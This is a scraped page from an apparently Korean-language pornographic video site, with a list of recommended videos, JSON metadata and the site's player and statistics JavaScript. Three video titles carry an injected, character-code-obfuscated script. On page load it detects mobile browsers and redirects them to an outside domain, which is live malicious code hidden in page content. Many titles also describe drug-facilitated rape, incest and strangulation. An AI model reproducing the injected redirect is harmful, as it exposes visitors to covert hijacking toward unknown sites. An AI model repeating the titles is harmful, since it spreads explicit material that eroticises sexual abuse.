추천 영상
06:22
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>션나나의 에로틱 노래방 EP6 - 여대생 션나나의 바이브레이터 노래방 첫 경험
05:00:11
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>극도로 위험한 포르노 영화! 타락한 여자, 마츠미네 코하쿠, 사토 아이리, 미즈키 호무라 주연. 머큐리
13:39
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>아내 교환 클럽 첫 경험: 흥미진진한 훈련과 아내들과의 상호 성관계</script></title>
션나나의 에로틱 노래방 EP6 - 여대생 션나나의 바이브레이터 노래방 첫 경험","lastmod":"2026-07-11","duration":"06:22","url":"/play/19165412.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODRiMTM5ZGJiM2U4OGE3MDg5NjI4MDdiMmEyYTljMTguanBn.cache","vod_id":18995320,"title":"KAWD-949-CN 첫 난교 경험! 끊임없는 오르가즘에도 불구하고 20개의 페니스를 동시에 원해요 - 사쿠라 모에코","lastmod":"2025-12-14","duration":"01:47:11","url":"/play/18995320.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTY1OTY1YmM4OWYxYTVmYTU1OTllNWQxMjU0YzliZTAuanBn.cache","vod_id":19001794,"title":"MEYD-467 두 아이의 엄마인데도 여전히 날씬한 그녀! 남편 몰래 일상에 자극을 더하기 위해 AV 업계에 데뷔했다!! 마유미 레이","lastmod":"2025-03-23","duration":"01:57:23","url":"/play/19001794.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvN2M3MGNmZmEwNDA2NjBjYTY4NTZkOGQ4NjEwNzNhNjYuanBn.cache","vod_id":19162874,"title":"극도로 위험한 포르노 영화! 타락한 여자, 마츠미네 코하쿠, 사토 아이리, 미즈키 호무라 주연. 머큐리","lastmod":"2026-07-11","duration":"05:00:11","url":"/play/19162874.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDhiMDZhZTU5ZDViYWI0Nzg3ZmY5ZjhhOTA2ZWQ0OWYuanBn.cache","vod_id":18962081,"title":"✿인터넷 스타 여신✿초인기 글래머 미녀▌샤오타오장▌봄의 열정 프라이빗 온천 - 온천보다 더 뜨거운, 페니스 삽입, 뜨거운 정액 - 최고의 쾌감을 선사합니다. 강력 추천","lastmod":"2025-03-22","duration":"00:17:15","url":"/play/18962081.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmIxYjNhYzA0ZWE0NmI5MmM4Nzc4YmQwNTU0YzZmMDYuanBn.cache","vod_id":19146647,"title":"약물에 취해 강간당한 그 여성은 글래머러스한 미모를 자랑하는 피겨 스케이팅 선수였으며, 다방면에 재능이 뛰어나 여러 번 물 위에 떠 있는 모습을 보였다고 합니다.","lastmod":"2026-03-05","duration":"49:17","url":"/play/19146647.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjMvN2JmYjRiZWI1MGVjNWNlOTM0ZWUyODVkZTcyMDRiMDguanBn.cache","vod_id":19043978,"title":"AI-딜라바-강제로 억압된 성적 경험 후, 그녀는 멈출 수 없었다 01","lastmod":"2025-07-22","duration":"10:42","url":"/play/19043978.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTkvMzIxNmZhMGFjY2JjMzZhMTk3MTVkNDllNDVkMzc3YmQuanBn.cache","vod_id":19058309,"title":"엉덩이를 크게 벌리고 스쿼트를 하며 공을 치고, 운동으로 고단백 정자를 짜내는 모습! 11번이나 질 내에 정액을 사정했습니다. 아이 사야마 WAAA415","lastmod":"2025-10-18","duration":"02:26:40","url":"/play/19058309.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjAvMDhkNzljYzQ1YmI0ZDhmOWUxODQzNGVmZGM3NzNkMDcuanBn.cache","vod_id":19063610,"title":"20세의 린린은 우등생이자 극도로 내성적인 대학생으로, 낯선 사람과의 첫 성관계 경험에 다소 수줍어하고 조심스러운 태도를 보였다.","lastmod":"2025-12-14","duration":"43:44","url":"/play/19063610.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjMzOTA5ZjE2MDIwMDE3NmM0YTliNDk5NGRiZjY2YjMuanBn.cache","vod_id":19016400,"title":"SIRO3831 [첫 촬영] 온라인 AV 신청 → AV 체험 촬영 997 그녀는 츤데레일까, 아니면 신비로운 소녀일까? 무뚝뚝한 아마추어 소녀조차도 클리토리스를 자극받으면 쾌감을 느낀다. 면도한 음부에서 음란한 액체가 쏟아져 나온다.","lastmod":"2025-03-24","duration":"50:31","url":"/play/19016400.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTY3NDJjMGZhNWRkYmNkMzRhZDE5NTczMmE3ZGQ0ZjcuanBn.cache","vod_id":19138095,"title":"\"뭐, 여기서 할 거야?\" 그녀의 숨겨진 변태적인 욕망이 너무나 자극적이야! 아사노 코코로의 은밀한 사생활이 적나라하게 드러난다! 기회가 있을 때마다... 아사노 코코로 SONE-905","lastmod":"2026-01-13","duration":"02:32:34","url":"/play/19138095.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzZlODA5OWYxMzc5MDNkYWFkYjQ3ZDI5ZDNkMTBkZTkuanBn.cache","vod_id":18984529,"title":"[무삭제판] ROE-222 어머니의 젖은 투명한 몸. 한 지붕 아래 오직 우리 둘만… 폭우가 쏟아지는 밤. 흠뻑 젖은 어머니와 아들, 근친상간. 레이코 서","lastmod":"2025-03-23","duration":"01:59:47","url":"/play/18984529.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvMDcxYzJjYmI2YzRiMmI3NGUzZGY1YmM4ZGE0MTIxNzkuanBn.cache","vod_id":19134242,"title":"BCP 숨 막히는 님프의 극단적인 가학성 놀이: 요시네 유리 아이 FPRE-190","lastmod":"2025-12-19","duration":"02:28:30","url":"/play/19134242.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmVmODM3OGVmYzBhNjZiNTY2NDEwOGVmMGNkNGRjMzMuanBn.cache","vod_id":18980613,"title":"IPZ-809 아이돌 트레이닝: 목 조르기! 소변! 끊임없는 매질! 극한 훈련! 모모노기 카나","lastmod":"2025-12-14","duration":"02:36:40","url":"/play/18980613.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTM1MDcxZmQ5Y2UxYmEzNmU5MWM0NGJmYWFhMzYzYjguanBn.cache","vod_id":18939983,"title":"[중국어 자막] SCOP-644 나는 아무도 옷을 벗을 수 없는 자위 클럽에서 괴롭힘을 당했다.","lastmod":"2025-03-22","duration":"02:29:33","url":"/play/18939983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjhmYWQ0YzFjY2NkYjA3YWY4NWQwYjkzNjEwODZmOTcuanBn.cache","vod_id":19141295,"title":"성욕이 극에 달했다! 좌절감이 극에 달했다! 스트레스는 곧 성욕의 극치다. 한 직장 여성이 무능한 부하 직원의 엄청난 성기에 완전히 지쳐버렸다. Passion FOCS-286","lastmod":"2026-02-03","duration":"02:00:16","url":"/play/19141295.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjQvYjczYzQwOWE1YjE0MDhjNTY0MzQyZjQ5NGZhNGE4OTcuanBn.cache","vod_id":19064067,"title":"VV 1주년! 한 달간의 금욕 끝! 극한의 자제 끝에 폭발하는 엄청난 성욕!! 나, 호노카 사이토 START_157","lastmod":"2025-12-14","duration":"02:20:59","url":"/play/19064067.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWU1ZDhmNGQwMWZiNzZmM2ExZWYzNzZjMTE2ODE4ZmQuanBn.cache","vod_id":19023381,"title":"IENF264C 아마추어 픽업 아티스트: 순진한 여대생의 첫 여성 성매매 경험 4가지 성매매 서비스...","lastmod":"2025-03-24","duration":"02:31:09","url":"/play/19023381.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDViOTc5NjQ3MWZiZmU1NTEwY2MyZjhlMjYxNmEzOWUuanBn.cache","vod_id":19163736,"title":"아내 교환 클럽 첫 경험: 흥미진진한 훈련과 아내들과의 상호 성관계","lastmod":"2026-07-11","duration":"13:39","url":"/play/19163736.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDYvMzc5NGRlMDU5ZWQ0MTk4MjMxYzYxNGM0NjNhZTg3NDkuanBn.cache","vod_id":19032276,"title":"107HSDAM-003 우리는 길거리 사람들의 키스 습관을 조사했는데… 예상했던 것보다 훨씬 더 깊고, 온몸을 덮는다는 것을 발견했습니다. 6","lastmod":"2025-05-06","duration":"44:15","url":"/play/19032276.html"}]},
videoTitle: '도쿄 핫 jup0234 추수감사절 특집! 영화 3편 연속 상영 #20! 모든 익스트림 스포츠를 경험해 보세요!',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}